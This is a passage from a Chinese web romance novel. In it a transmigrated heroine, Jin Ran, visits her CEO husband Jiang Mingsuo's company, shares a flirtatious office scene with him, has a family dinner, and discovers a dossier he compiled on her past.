此刻,对方正挽着一个年轻男人的手臂,两人姿态亲密,像寻常情侣一样悠闲地逛着街。 商场负责人林总顺着视线往那望过去,了然道:“陈飞家的小子也过来了,听说老陈最近把公司负责权交给了儿子,只不过那些老家伙可不像表面似的服气。” 正因如此,小陈总虽然进了自家公司,却处处受制,连基本决策都要看元老们的脸色。 对于差了一辈的年轻人,江明羧显然不怎么了解,林总解释:“层飞直播平台就是他们家的。” “不过这小陈总也算有魄力,前几日他直接绕过董事会,用个人资产收购了平经娱乐15%的股份,转头就用这筹码逼元老们让步,打了一个措手不及。” 林总说得有些沉浸,无意间瞥见身旁无动于衷的江明羧,立刻回过神:“当然,这些和江总您是不能比的,您可是业内公认的投资圣手,这些年从未失手。这次我们商场能请到您,可真是沾了天大的光。” 后半程,耳边都是林总的马屁声,几次电话响起都没有打断他的滔滔不绝。 江明羧轻飘飘看了一眼:“林总若有要事,不必在意我。” 林总讪讪一笑:“不是什么要紧事,因为平时这个点我都很闲,家里人估计没想到我在谈正事。” 话虽这么说,他还是点开了手机,一连串的照片瞬间刷了满屏,怪不得从刚才起就一直响呢。 江明羧的目光无意间瞥过,忽然微微一顿。 林总没有注意到,他把电话拨回去,听那边说了什么:“知道了,我中午不回去,不是问我?是你中午怎么不回去?和姐妹按摩?行行行,你安排就好。” 挂断电话,林总抹了一头汗:“江总久等了,咱们继续说刚才的事情。” 江明羧颔首,随后状似不经意开口:“林总和太太关系挺不错。” “都是老夫老妻了,哪谈得上什么好不好。”林总笑着摆摆手,“她从香港跟我来大陆打拼,一晃都十几年了。这人闲不住,最近迷上服装设计,天天给我发设计图,消息轰炸似的。” 闻言,江明羧若有所思。 他记得金苒说过的一个“林姐”祖籍便是香港。 “林总太太姓林?” “对,双木林。”林总有些惊讶,“江总认识我太太?” 江明羧:“我太太和你太太是朋友。” 这让林总更是惊讶不已,他之前从未关注过自家太太的交友情况,自然完全不知道两家太太竟是相识。想到这里,林总不禁有些懊恼,若是早知道这层关系,这次的合作还能打打人情牌。 …… 等离开商场坐上车子,王特助看到老板一大早便连轴转,很是体贴道:“江总不如先休息一会儿,到了公司我再叫您。” 江明羧捏了捏鼻梁:“行。” 随着挡板缓缓升起,后座形成了一个相对私密的空间,不过江明羧并没有如王特助所想的闭目养神,而是沉思片刻,拿出手机拨通了金苒的电话。 / 另一边的金苒和林太太喝完下午茶,转道去做美容spa。 和她在家里自己起意蒸桑拿不同,林太太去的是高档场所:“咱们女人的脸很重要,男人总觉得女人美容、化妆是为了取悦他们,实际咱们女人只是为了取悦自己。” “林姐说的对,”金苒深有体会,“男人脸很大。” “他们自己邋里邋遢不注意形象,还非要说男人最重要的是事业。我看啊,就是怕收拾打扮之后,发现自己不过是从一个邋遢的丑人变成一个干净的丑人,根本不敢尝试改变。” 金苒再次点头:“可不是嘛!你看那些真正帅气的男人,反而特别注重保养和形象。” 她不由得想起江明羧,从认识对方到现在,自己从未见过他邋遢的一面,穿着打扮永远一丝不苟,于严肃中带着说不出的性.感。 林太太笑了笑,意味深长道:“所以咱们才不伺候那些丑家伙,姐姐今天带你好好享受一下。” 一开始,金苒对林太太说的“享受”没有什么概念,直到门打开,几个又年轻又帅气的足浴师从外面走进来。 金苒:“……” 这,不太好吧? 十分钟后,金苒一边吃着冰镇西瓜,一边享受着腿脚步肌肉的放松,觉得没什么不好的。 人家都是正儿八经的足浴师,出来打工也不容易,她怎么能用有色眼镜看待对方呢? 她在心里把自己说服,即便接到江明羧的电话也丝毫不慌。 “在家吗?” “没有,和林姐在外面呢,有什么事?” “没什么,就是实习已经安排好了,想问你要不要过来看一下,如果方便的话,我去接你。” 金苒:“!!!” “当然方便!” 她想都没想就回答。 正事可是比享受重要多了,确定消息不假,金苒立刻报了自己的地址,江明羧没有多谈什么,只说二十分钟过来。 挂断电话,金苒和林太太转达了歉意。 “没事,正好我下午要去店里看看新到的货,本来还担心没空陪你呢。” 二十分钟后,江明羧准时到达会所楼下。 收到消息的金苒把房间号发过去,不一会儿,门外响起轻轻的敲门声,恰好一位空闲的足浴师经过,顺手做了好事。 江明羧与开门的足浴师四目相对的瞬间,明显怔了一下,下意识看了眼门牌号确认自己没走错。直到目光越过对方,看见房间里收拾东西的金苒。 他一顿,抬脚走进去,对着林太太点头示意,然后询问金苒:“有什么需要拿的,我帮你。” “不用了不用了,我收拾好了。”主要是几样旗袍,以及林太太送她的一些礼物。 江明羧便没有插手,只在最后主动接过金苒手中的大包小包。 从头到尾,气定神闲,对房间里的几个年轻男人仿佛视而不见似的。 林太太心里顿时肃然起敬。 以前居然不知道江总是个大气的,不像大部分男人,自己在外面花天酒地应酬不断,却对女性正常的社交活动百般约束,从这一点上看,小金真是有福气。 当然,能娶到小金这样的老婆,江总的福气也不少呢。 有福气的金苒临走前拉着林太太说悄悄话:“您知道那些参加参观会的家长是什么想法吗?” 眼看着暑假都过了一半,那些人迟迟没有动静,金苒心里免不得有些打鼓。 林太太会意,拍拍她的手背:“放心,她们都有意向的,到时候我再催一催,肯定会去你们学校。” 闻言,金苒松了口气。 总算不是给校长打白工了。 楼下前台处,经理早已等候多时。 见两人出来,他立刻迎上前,笑容殷切地递上一套贵妇护肤品和一张黑底烫金的会员卡。 “恭喜这位女士,您本次的消费金额已达到我们的会员标准。” 他们当然不认识金苒,但在服务业摸爬滚打多年,练就了一双识人的眼睛,什么样的人是真阔气,什么样的人只是充门面,心里门儿清。 金苒看了看那套护肤品,明白是林太太特意把消费记到了她的名下,虽觉得品质不错,但想着以后未必常来,下意识准备婉拒。 可还没待她开口,江明羧已经伸手接过。 “多谢。” 这下连金苒都感到奇怪了。 试问有哪个男人看到自己太太和一群帅哥待在一起无动于衷的? 等离开会所,她忍不住问:“我来这里,你不介意吗?” 江明羧挑眉:“介意什么?你不是来做足浴的?” 一句话把金苒说的哑口无言。 见状,江明羧眼底流露出一丝笑意:“如果说的是那些做足浴的人,我的答案是不介意,因为即便我们是夫妻,我也无权干涉你的正常人际交往。” “就像商业应酬不分男女,我和她们吃饭,你会介意?” 金苒仔细想了想:“如果你是和女生谈生意,我不会介意,如果你因为所谓谈生意,带着女生去喝酒,那我介意。” 不仅会介意男女界限问题,还会对拥戴这种潜规则的人的人品产生质疑。 江明羧嘴角勾起一抹弧度:“那我比较幸运,暂时没有做过你介意的事情。” 话音一转,“不过下次这种事情可以提前告诉我一声。” 金苒好笑:“告诉你做什么,难道你也要来做足浴啊。” “嗯,我来学习一下。” 金苒:“?” 说着,两人走到车前,江明羧亲自为她打开车门,“时间还早,先去吃顿饭吧。” / 明技科技的总部位于A市CBD核心区的环球金融中心,靠东边的整栋商业楼都是他们的。 作为业界出名的企业,明技对员工的福利好得惊人,除开办公环境宽敞明亮,公司基础设施同样完善,设有休闲区、健身房、咖啡吧和免费零食区。 金苒一路走一路目不暇接,说真的,她两辈子加起来都没见过条件这么好的公司。 难怪王特助这么拼命工作,在这种神仙公司上班,谁不愿意全力以赴啊! 就连她看着,都有点儿想入职了。 江明羧本来打算亲自带金苒过去,不料董事会那边有个资历深的元老过来,让他不得不过去见一面。 得知这一消息的金苒主动摆摆手:“你去忙吧,王特助带我就好。” 否则让一个公司的总裁陪着自己,大材小用,她自己都过意不去。 江明羧看了她一眼,片无奈道:“那看完后直接去办公室,我让保安给你通行。” “嗯嗯!” 乖巧,听话,懂事。 转身就原形毕露,兴致勃勃看向王特助:“你们安排的实习部门在哪边?” 王特助:“?” 今天的明技有些安静。 平时也是安静的,但今天格外甚之,坐在工位上工作的员工眼睛炯炯盯着屏幕,实 际摸鱼的手噼里啪啦打的飞快。 【王特助带了一个新人,哪个部门的?】 【没听说最近招聘啊,是不是其他公司的?】 【除了江总,你们见王特助对谁这么尊敬过?我猜是江总认识的人!】 【那我猜是江总的追求者!】 别看员工们平日对上江明羧一个个大气不敢喘,私下谈论起总裁的八卦那叫一个热情。 谁让他们总裁人帅多金,走在哪里都是目光中心呢。 【哎,我刚才遇到Freya,看她往江总的办公室去了】 【又来了又来了,她不会以为自己能上位吧?】 【说不定真的可以,毕竟Freya的工作能力毋庸置疑】 【嘿嘿,你们说这两个人谁会赢?】 …… 金苒不知道员工们的私下小八卦,即便知道,也不会在意。 她先到实习的地方看了一眼。 这算是明技科技的研发线的初始环节,重要但又不涉及到核心机密,这样的实习机会既炼能力,又可以学得知识,正适合高中生。 金苒觉得很满意。 尤其听说是江明羧亲自敲定的地方,金苒心里又升起一丝感动。 她对王特助说:“我们回去吧。” “太太不再看看了?” “不看了,我相信他的决定。” 王特助心里咋舌,想起来之前江总对自己的嘱托,不得不说两人还真是心有灵犀,处处都为对方着想。 总裁办公室在顶楼,有专属电梯,一路上倒是没有遇到人,不过等到顶层时,迎面遇到一个波浪大卷的美女。 “王特助来找江总吗,这位是?” Freya不动声色地打量金苒。 这一看微微有些惊讶。 和她想象中傲气张扬的豪门闺秀不同,眼前的女人气质明媚、活泼俏丽,笑起来杏眼弯弯,让人不自觉新生好感。 王特助犹豫了下,不知道自家太太是什么态度,那边金苒已经伸出手,落落大方地微笑:“你好,我是江总的妻子。” Freya一愣。 但她也只愣了一下,很快就恢复正常的表情,笑着道:“江总刚和贺总谈完,你们现在过去正好。” “嗯,谢谢。” 两个女生的交谈从容又得体,似春风拂过蔷薇,满目盛开的花香,全然不见旁人臆想中的剑拔弩张。 王特助很快在门口站定:“太太,您自己进去吧。” 金苒点头。 这是她第一次踏进江明羧的办公室。 小说中,霸总的书房和办公室往往都代表着某种特定的含义,如潘多拉魔盒,又像那个魔法世界中不可提及的那个存在,而女主是那个唯一能进去的人。 这样一比较,江明羧这个霸总就有点儿过于“随性”了。 金苒暗自数能进入他书房的人,有她和江许黎,还有王特助、程管家、小陈……最后竟差点数不过来。 从休息室出来的江明羧正好看到这一幕:“想什么,这么认真?” 金苒回过神:“刚才来的路上遇到一个你的员工,突然发现你和其他霸总不太一样。” “霸总?” “哦,霸道总裁的简称。” 江明羧暗自忖度这个称呼,觉得和自己有点儿像,他打开玻璃柜拿出一个纸杯:“咖啡还是茶?” 一边饶有兴趣问:“其他霸总是什么样子的?” “茶,谢谢。” 接着金苒便给他讲了自己的“发现”。 江明羧听完之后却皱了下眉:“为什么不能进书房?” “咳,就是你们这样的人,书房里应该有什么机密文件之类的,怎么能让人随便进去啊。” 江明羧摇摇头:“真有那样的东西,我也不会带回家。” “况且能进书房的都是家里人,如果对家人也设防,那他活得一定很累。” 好吧,金苒发现是自己的思维被小说给影响了。 就像江明羧说的,现实中的霸总忙着赚钱,开拓事业版图,哪里有这么多弯弯绕绕。 退一万步讲,就算有也是男女主应该有的剧情,他们两个路人还是过好自己的平淡日子更实在。 红茶味道醇厚,江明羧还让王特助送进了几样小零食。 金苒便不急着回家了,她坐在办公室的沙发上享受餐后甜点。 明技给员工准备的零食也很讲究,都是些叫得上名字的高端牌子,比如她就看到了一个吃过的巧克力,上辈子的她只吃过一次,不是因为味道差,而是那巧克力属刺客,拇指大小就要三十元。 没想到明技的员工可以随便吃。 一边想着,一边捏起一颗含在唇间,甜腻的滋味在舌尖化开。金苒抬起眼,宽大的落地窗外是碧蓝如洗的天空,高耸入云的楼厦做其点缀,星星点点,被幕墙框成壮阔的背景。 而在窗边,江明羧低垂着眉眼,认真工作。 男人的视力很好,但沉思时会不自觉皱起,高眉骨的眼睛便显得格外深邃,西装剪裁考究,勾勒出挺拔身材。他的肩膀也很宽,宽到可以遮挡住阳光和风雨。 看到这幅画面,金苒心中一动。 林太太说女人要懂得享受,所以带她去spa足浴,但其实在她看来,那些年轻帅气的男生还不如江明羧更吸引人。 像是一棵树,年轮愈深,沉香愈醇。 她放下零食,起身慢悠悠走过去,到他身后俯身看他写字。 当然她是看准了时间,这会儿他签完所有的文件,桌面短暂空下来。 一缕头发自然而然落下,扫过江明羧的颈侧。 划在纸上的笔尖突然顿住。 金苒哎呀一声,语气抱歉:“打扰你了?我不是故意的。” 她作势要走,下一秒,江明羧却握住她的手腕。 两双眸子对上,一个是紧紧关闭的幽湖,深邃不见底,一个是搅乱湖底的石子,灵动狡黠。 气氛逐渐变得暧昧,金苒勾了勾唇,想要说什么,然而这个时候,办公室的门被敲响了。 两人一怔,很快松开手。 等金苒坐回沙发上,江明羧才让人进来,是市场部的经理,对方目不斜视,汇报了几件工作后又离开。 没一会儿,又有人敲门,这次是法律部的,一个四十多岁的胖子,他进来后第一眼就是看向坐在沙发上的金苒。 金苒:“……” 等到第三个精英女强人进来,金苒已经什么也不想说了。 她假装什么也不知道,端庄地坐在那儿——实际后背绷紧,为了让腿显得直一点,脚指头也努力伸直。 “……” 这位女强人的汇报有些长。 金苒一开始还试着听了听,后面发现对方汇报的内容实在无聊,不是说不重要,但好比要讲结果b,她会铺垫十分钟的a,让人听得昏昏欲睡。 她忍不住偷看坐在办公桌后面的江明羧,发现对方虽然表情严肃,但明显没那么在意。 有些想笑。 想到什么,她若无其事拿出手机。 …… 江明羧听着汇报,面前的手机突然震动了一下。 他划开,看到里面的内容,忽而挑了挑眉。 备课汉姆(考不过教师编不改名版本):【听不懂(小丑.jpg)】 【她好厉害,这么多内容都能记住,不过她怎么总是看我?】 江明羧:【你走神的样子太明显了】 备课汉姆(考不过教师编不改名版本):【人艰不拆(亲亲.jpg)】 那边停顿了几秒钟。 江明羧:【不可以。】 抱着手机的金苒:??? 她都这么惨了,这男人居然还想拆穿她,有没有良心啊! 江:【咳,还有人在,这样不太好。】 “???”到底有什么不好的? 金苒打字准备询问,结果不小心脱手,手机滑到了沙发上。 五秒钟过去。 江:【……】 江:【真就那么想?等下班可不可以?】 江:【怎么不回复?】 …… 十秒钟。 江:【好吧】 金苒刚拾起手机,入眼就是最后一条消息,没等她反应过来,办公室里便响 起江明羧低沉的声音。 “今天就先到这里吧。” 男人语气平静:“郭经理有时间,可以处理一下公司的案子。” 闻言,女强人郭经理表情讪讪,知道这是江总在敲打他们,她见好就收,反正目的已经达到了,江总既然让她改天再汇报,那就改天好了,也不是什么重要的事情。 等人离开后,江明羧打了个内线电话,给各部门的负责人重申汇报纪律,明确非紧急事务需提前预约。 做完这一切,他才看向金苒,目光深沉:“过来吧。” 第80章 第80章【家属视察】 金苒:“?” “搞什么啊,得神神秘秘的…” 她不明所以,一边嘟囔,一边还是听话地走了过去。 临到跟前,江明羧握住她的手腕,在金苒诧异的目光中,将人拉到了自己的腿上。 然后在她唇上轻啄了一口。 沙哑喟叹道:“真拿你没办法。” 金苒:“……” 一瞬间,她以为他被人附体了。 事到如今,便是再蠢也明白过来。 金苒忽而想起自己刚才的聊天中似乎发了一个亲亲的表情包,联想现在的情况,难不成江明羧以为自己在索吻? 她很想大喊运冤枉好不好? 虽然一开始的确被男.色.迷惑,想要做点儿什么,但那里面绝对没有现在这一件事情! 胡思乱想之际,唇上又落了一下,金苒回过神,后知后觉注意到两人现在的姿势有多暧昧。 除了小时候,人生第一次坐在男人的大腿上,她饱满的臀紧紧压在江明羧的腿上,甚至能感觉到绷紧时肌肉的坚.硬。 有点儿硌。 她高高在上,而他位于下位,那双鹰隼似的视线却牢牢盯着她,灼热到身体止不住发颤。 就在他再一次凑近时,金苒忽而伸手抓住他的领结将人拉开:“等等,你这个不听老师话的学生。” 江明羧被扯到了脖颈,低低地闷哼了声:“咳咳,金老师有什么赐教?” 见他不仅没生气,反而顺着自己的“故事”往下走,金苒心里隐隐有些激动,强装出严肃的表情:“问题学生就要被惩罚。” 江明羧挑了挑眉:“怎么惩罚?” 金苒不给他解释,只拉着领带将人往后扯开,另外一只手落到男人的唇角,蜻蜓点水似的轻轻摩挲,就在以为她会触碰的时候,手指又毫不留恋地离开。 绕过唇峰,划过锋利的下颚线,略带胡茬的下巴,继而逐渐向下。 忽而,江明羧的喉结上下滚动。 立刻就是被做坏事的金苒给注意到了,她兴致上来,居然追着滑动的喉结想要捏一捏。 江明羧不得不往后躲,金苒继续追,你追我赶,最后距离越来越近,几乎所有的缝隙贴合交汇,再也没有缝隙。 在察觉到什么不对劲的时候,热度已经通过肌肤传递过来,她杏眸不可置信地睁大:“你……” 张了张嘴,最后什么话也没有说出来,倒是触感更加明显,烫得她下意识想逃。 可江明羧怎么会答应。 在她后退的时候,他的手臂已经环了上来,置于腋下,稍一用力就将她整个人托起,天旋地转间,她已经转移到冰凉的办公桌上。 江明羧欺.身压.下,连带着大片阴影笼罩,钢笔咕噜咕噜滚远了,又在桌子边缘堪堪停止。 “惩罚完了?” 男人的眼神黯沉锐利,眸底似藏着深不见底的暗.潮。 金苒呼吸一窒,某个瞬间感觉自己仿佛被猛兽盯上的猎物,她无意识抿住双唇,那一刻,她从他眼底捕捉到了某种情绪,那是一个男人看女人最原始的欲.望。 眼底闪过心虚:“那个,如果我说我不是故意的,你相信吗?” “你觉得呢?” 低沉磁性的嗓音,多了几分压抑的味道。 就连金苒,都觉得自己有点儿过分了。 或许是原著小说,又或许是关于年龄的猜测,让她潜意识里一直觉得江明羧是“无害”的。 顶多亲亲抱抱,即便躺在同一张床上,也是相安无事的 可现在,事实明显显告诉她,温顺的家猫的原本面貌,分明是头蓄势待发的猎豹。 毫无意外,金苒可耻地怂了,她松开手要往后退,却再次被江明羧攥紧手腕,拉近至眼前,他望着她瞪大眼睛的样子,低低嗤笑,仿佛在嘲讽她的不自量力。 柔软的触感透过薄薄衣料传来,像一团温热的云、他手掌下的腰线微微凹陷,皮肤在空调房里泛着微凉,却在指尖下迅速升温。 “闭眼。” …… 分开的时候,一丝银线在两人唇间拉扯牵连的弧度。 金苒呼吸紊乱,下意识低头看了一眼,又很快移开目光身上,耳根像霞云似的烧红,她尴尬地咳了咳:“要不,你先去处理一下?” 江明羧倒是镇定,站直身子的时候,不忘先扶着金苒从办公桌上跳下来:“不用管。” 既然他这样说了,金苒便不再多言。 而且天底下没有卖后悔药的地方,亲都亲了,总不能退货吧,但这会儿想想,她还是觉得自己刚才吃了熊心豹子胆,居然赶在办公室里……咳,万一有人进来,她可以直接换个星球居住了。 似乎能猜到她的想法,江明羧道:“今天不会再有人过来。” “那也不能这样做,”金苒忍不住哼了哼,“真以为我不知道他们为什么过来,汇报工作是假,好奇我才是真吧。” 还有自己跟着王助理过来的时候,遇到的那个妩媚大美人。 对方估计也是故意偶遇。 或者还存在着其他一些心思? 对此,金苒感慨的同时又觉得毫不意外。 江明羧长得帅,人优秀,吸引桃花是再正常不过的事。 她也没有因此而对一个陌生女人心生警惕,归根到底还是江明羧的错,如果他表明态度,那些女员工说不定早就歇了心思。 江明羧整理好西装,双腿交叠着坐在她的旁边:“为什么对你好奇?” 金苒悠悠道:“晴天白日,从来不近女色的总裁突然领了一个女人来公司,两人孤男寡女待在办公室里……换你你不好奇?” 江明羧表情淡定:“不好奇。” 他对别人的事情没有探索欲。 金苒顿时翻了个白眼。 合着就她一个是小丑啊。 江明羧拳头抵在嘴边笑了笑,往回找补:“不过经过你这样一说,的确充满悬疑色彩,从某种程度上讲,上司的事情关乎公司的发展,他们的好奇,也是关心自己的前途发展。” 职场中能力是最重要的,其次是情商和运气。 不要小看后面的两个。 “人事部的Freya,她在明技工作三年了,业绩优秀,今年不出意外能升职副经理,但在来明技之前,她曾经干过十份工作,每一份都因为各种不同的原因而辞职或被迫失业。” “是在我之前来找你的那个人吗?”金苒有所猜测。 “你们遇到了?” “嗯,长得漂亮,气质也很好,没想到有这么曲折的经历。” 所以后面遇到一个给自己机会、又赏识自己的老板,才会控制不住心动吧。 思及此,忍不住撇撇嘴:“江总真是体贴,连人事部一个小员工的事情都记得这么清楚。” 江明羧实事求是:“她创造的隐性价值超过了岗位需求。” 金苒一噎,这男人真是不解风情。 江明羧却忽然看向她:“而且我从未注意过她的气质,倒是你,今天格外漂亮。” 闻言,金苒挑了挑眉:“我哪天不漂亮?” “嗯,都漂亮,”他认真观察了片刻,“可能今天穿的这件衣服和发型很搭配,我的员工大概以为你是来应聘的大学生。” 一句话,既夸了她漂亮又夸了她年轻,金苒嘴角高高翘起,打开手机的摄像头照镜子,发现自己今天的搭配的确很不错,和往常习惯的风格不同,有一种新颖的亮眼。 “要拍张照记录一下吗?” 江明羧在旁边问。 这也是金苒的习惯,吃饭拍照、旅游拍照、考试拍照,甚至生病也要拍照,美其名曰纪念生活的小确幸,实际是每次撸了全妆不拍照实在浪费。 金苒承认,这个男人的提议让她有点儿心动了,正好她今天化了一个全妆,不过开拍之前,她决定试探一下某人:“我手机拍照不好看,能不能用你的手机呀?” 江明羧掀起眼皮,看了一眼同个牌子的手机,并没有戳穿女人的小心思,直接把自己的手机递过去。 “密码?” “六个零。” 好吧,完全没有把柄。 解 锁进去之后金苒也没有乱看,手机是相对私密的东西,就像她不希望江明羧看自己的手机一样,她自然会尊重对方的隐私。 如果一段关系已经需要通过查手机来维持信任关系,那么她宁愿结束。 当然,她不会主动看,但如果对方害怕给她看,那就是两码事了。 嗯,双标双得大大方方。 她很快点进了相机。 驾轻就熟地摆好姿势,准备按下快门的时候,忽然觉得背景不太搭。 于是金苒果断站起来,在办公室里环视一周,最终选定了一个绝佳的位置——她站在一个绿植旁边,将手机微微上抬45度角,侧身倚在江明羧的实木办公桌边沿,身后是精英范十足的办公桌椅和广袤的落地窗。 “咔嚓!” 伴随着快门的声音,笑容定格在小小的手机中。 拍完之后,金苒检查了一下,勉强还算满意,只是可惜江明羧的手机没有P图软件,多亏她天生丽质,才能撑住死亡原相机镜头。 “给,记得发给我一份。” 江明羧“嗯”了声,之后接过去也并不知道在干什么,低头摆弄了好一会儿。 / 有办公室待了半个下午。 有金苒在,江明羧不可能还要加班,加上今天的确不是很忙,四点半的时候,两人就走出了办公室。 路过的员工纷纷打招呼:“江总好。” 江明羧突然停下来,目光落到其中一人的桌子上的速溶咖啡:“公司采购的蓝山咖啡豆不合口味?” 员工愣了愣,没想到总裁会注意到自己喝什么,受宠若惊道:“喝的惯,就是有时候别人在用咖啡机,我又着急,所以才自备了一桶速溶咖啡。” 这不算什么大事,毕竟大家错开时间就能解决,结果江明羧直接对赶过来的负责人说:“让老林再采购些咖啡机,确保每层最少十台。” 金苒听得咋舌。 明明只是买咖啡机,怎么感觉比买飞机还要有魅力呢? 再看鼓起掌来的员工,显然有这个感觉的不止她一个人。 金苒若有所思,不谈从此之后,她学以致用,在工作中开启了一条崭新的大道,此时此刻,她没有对江明羧的行为置喙,默默跟在身旁,非常有自觉的,安静充当一个挂件。 期间不小心和刚才那位喝速溶咖啡的年轻人对上视线,出于礼貌,她露出一个微笑,谁知对方精神一凛,竟脱口而出:“老板娘好!” 金苒:“?” 有第一个开口,后面仿佛打开闸似的,明技的员工们和江明羧打完招呼后,都会不约而同再朝她问好。 等到电梯门关上,金苒立刻揉了揉僵硬的脸颊,转头打量身旁的男人。 江明羧单手搭着西服,气定神闲。 可金苒还是直觉是对方做了什么,她打开手机翻了翻,很快就在朋友圈里发现了江明羧的动态。 要知道,除开转发明技的文章,江明羧从不发私人内容! 可今天,江明羧那个格外简洁的个人页面中,俨然出现了一条不同于往常的朋友圈。 ——一张她的自拍照。 评论区: 王特助:[玫瑰花][玫瑰花][玫瑰花] 陈总:[点赞] 魏漠:【嫂子居然陪着你一起上班?酸了酸了】 还有虽迟但到的江许黎:【她去你公司了?】 不过江明羧谁都没有回复。 他在最下面评论了一句:【家属视察。】 …… 江明羧把车子开出来。 金苒拉开副驾驶车门,边系安全带边问:“家里零食库存告急了,要不要顺路去趟超市?” 江明羧没意见:“行。” 两人去了之前去过的那家商场,金苒在货架间零零散散挑了一堆零食。 有她爱吃的,也有她不爱吃的。 等拿的差不多,转头看到江明羧站在隔壁的蔬菜摊位,手上拎着几捆打完条的空心菜。 “你要做菜?”金苒有些惊讶。 江明羧顿了顿,无奈地捏了捏鼻梁:“看见就买了。” 金苒只是随口问一句,这会儿顺着往下道:“蒜炒空心菜很好吃,我上次吃还是大学的时候,室友用买的电锅做的,结果功率太大导致全楼跳闸,幸好宿管阿姨只没收了锅,没有没收菜。” 因为过程波折,以至于现在还记得那种味道,她突然兴致勃勃:“回去之后给王厨,让他今晚加一道蒜炒空心菜!” 江明羧笑着点头。 没说的是,其实他只是在看到围在菜摊前挑选菜的人时,莫名想到了家这个字。 别墅里,江许黎看到他爸发的朋友圈后,心里暗搓搓有些不爽。 他本来觉得自己跟金苒关系最近变近了许多,谁知道她二话不说选择自己一个人行动,连声招呼都不打! 明明几天前的餐桌上,得知金苒想给学生找一份实习,当时的他还积极表示,自己闲着也是闲着,可以一起去。 省得那个学生害怕退缩,辜负了她的好心。 这样的雄心壮志下,藏着少年人羞于说出口的义气,如今出师未捷身先死,能高兴才怪呢。 在听到车子声的时候,江许黎立刻从楼上下来,想要做出清高、傲慢、满不在乎的姿态。 回应他的,是递到面前的一大包零食。 “我记得你喜欢吃烧烤味的薯片,应该没买错吧?” 金苒嗓音轻快,透着一股子熟络的亲近感,让江许黎刚刚摆出来的表情变为茫然。 薯片? 什么薯片? 金苒邀功:“我今天很忙的,这些薯片可是特意抽时间去给你买回来的。” 闻言,江许黎深深沉默了。 所以,她并没有忘记自己? 不仅没有忘记,甚至还惦记着他,主动给他买东西。 一瞬间,满身坚硬的刺磨平尖锐,只剩下一团皱巴巴的、发烫的柔软。 他又开始后悔了,后悔自己胡乱冤枉人。 正犹豫要不要道歉,面前金苒忽而伸出手,在少年眼前摆动了几下:“怎么了,感动傻了?” 她脸色古怪,小声嘟囔道:“千万别哭哈,我这人看不得男的落泪。” 江许黎本来眼睛酸酸,听到这话立刻把那丁点泪意憋回去,瞧不起谁呢。 然后酷酷仰起下巴,从袋子里拿了一份黄瓜口味的薯片。 “哎!那个是我的!” 见状,金苒惊呼。 然而江许黎已经飞快奔走,声音带着得逞的笑意:“你不是说给我买的吗,正好我今天就想吃这个味道!” 不远处,江明羧望着打闹的两人,冷漠的眼底流露出一丝暖意。 他的前半生,茕茕孑立,颠沛流离,从未体会过家的温暖,也没能给儿子一个完整的家庭。 好在这一切的遗憾,如今都以另外一种形式,得到了实现。 他卷起袖子往厨房走:“我去炒个蒜蓉空心菜。” 刚迈出两步,又顿住脚步,回头对金苒道:“对了,书桌上有个东西你大概会感兴趣,可以去看一看。”【你现在阅读的是 】 80-90 第81章 第81章以正式教师的身份 踏进书房后,金苒就看到了江明羧说的东西。 不是因为她多么火眼金睛,而是那东西就放在桌面正中间,用一个pvc的透明袋子装着,想来也不是多么重要,这样想着她拿起来打开,却在看到内容的时候怔住。 晚饭除了王厨的拿手好菜,还多了一道蒜炒空心菜。 卖相看着不错,尝过之后同样不错,没想到老男人还有做居家煮夫的潜力。 她可耻地产生了一丢丢心动。 随后想起对方的工资和自己的工资,那点儿心动变成了心脏骤停,好好好,金苒你可真是膨胀了,自己什么工资水平,居然敢让霸总在家养孩子,但凡多吃两粒花生米都不至于醉得这么严重。 梦想破灭,但夸赞不可缺少,用糖衣炮弹麻醉霸总,说不定霸总以后会爱上下厨:“莹润透亮,油而不腻,还有一股特有的锅气,吃起来咔咔脆,这是哪个大厨做的啊?” 江许黎不愧是金苒的学生,瞬间get到她的意思,故作惊讶道:“这难道不是王叔做的?” 江明羧点评:“表情有点太假了。” 江许黎:“……” 金苒噗嗤笑出声:“我还以为你只是帮忙洗菜,没想到会亲自动手,更重要的是,王厨居然答应了?” 闻言,江明羧有些无奈:“他在旁边盯得我连盐都不敢多放半粒。” 脑海中浮现那副画面,金苒更想笑了,她给江明羧夹了一筷子空心菜:“你做的菜得尝一下味道,要不然等会儿要被我吃光了。” 江明羧欣然接受,并礼尚往来,给她夹了一只油爆虾。 孤寡幼人江许黎撇撇嘴。 下一秒,碗中突然多了一个蜜汁鸡腿。 他嘴角抽动,好半晌才把弧度给压下去,小声吐槽“我又不是不会夹,真是腻歪死了”,动作上吃得比谁都快。 一顿饭,欢声笑语,其乐融融。 到最后,三人都有些吃撑了。 时间尚早,又无事可做,索性留在客厅看起了电视剧。 遥控器自然掌握在金苒手中,她有种自己拿到了传国玉玺的激动感,在江许黎要看球赛的控诉中,将将频道锁定在一部正在播放的老剧上。 在网络发达的今天,年轻人习惯了网上追剧的方式,而电视台的收视群体主要以四十岁以上人群为主。 因此这部剧也迎合了中老年观众的喜好,主打家长里短的剧情。剧中恶毒婆婆与小白花女主的戏码让金苒看得昏昏欲睡,倒是之前还在玩手机的江许黎看得津津有味。 好不容易撑完一集,金苒不由得松了口气,连忙结束了这场突发奇想的家庭休闲会晤。 回到二楼,主卧浴室的水已经放好,吃饱喝足的金苒有些懒洋洋,便让江明羧先去洗澡,自己则躺在床上翻那个pve文件袋。 这一次,谁都没有提搬去侧房的话。 十分钟后,江明羧出来,金苒已经把所有东西看完了。 她心情有些难以言表。目光复杂地打量面前的男人,怪不得对方并不紧张,原来早就知道原身出车祸的事情。 不仅如此,原身见过什么人,做过什么事,以及车祸前后反差之大,也被这个男人调查的清清楚楚。 按理说,她应该觉得害怕的。 但或许是她早就从王翠花那儿得知更多的关于这个男人的“坏事”,看透了掩藏在皮囊之下的每个都会有的人性的恶,竟也能够心平气和。 江明羧随意擦了几下头发,坐在她旁边:“看完了?” 发梢的水珠滴落,砸在床单上,不一会儿洇湿出小片深影。 气得金苒一把将人推开:“你把头发擦干净再过来!” 后面看不惯,夺走毛巾替他擦拭:“所以你早就知道了,还故意不说,分明就是为了看我笑话。” 就算是有那种心思,这会儿也不能承认:“没有看你笑话,只是这件事情还有很多解释不清的地方。” 他宽大的身材拘谨地坐在小小的板凳上,被金苒强势性按住脑袋,像个可怜的大型犬,开口,语气一如既往淡:“当时金家准备联谊的是金静,是她坚持要嫁给我,我总要了解一下原因。” 以江明羧的经历,什么没有见过,恐怕他最不相信的,就是旁人无缘无故的“好意”。 身后,金苒擦拭头发的手停顿了一霎,有些犹豫要不要说出口。 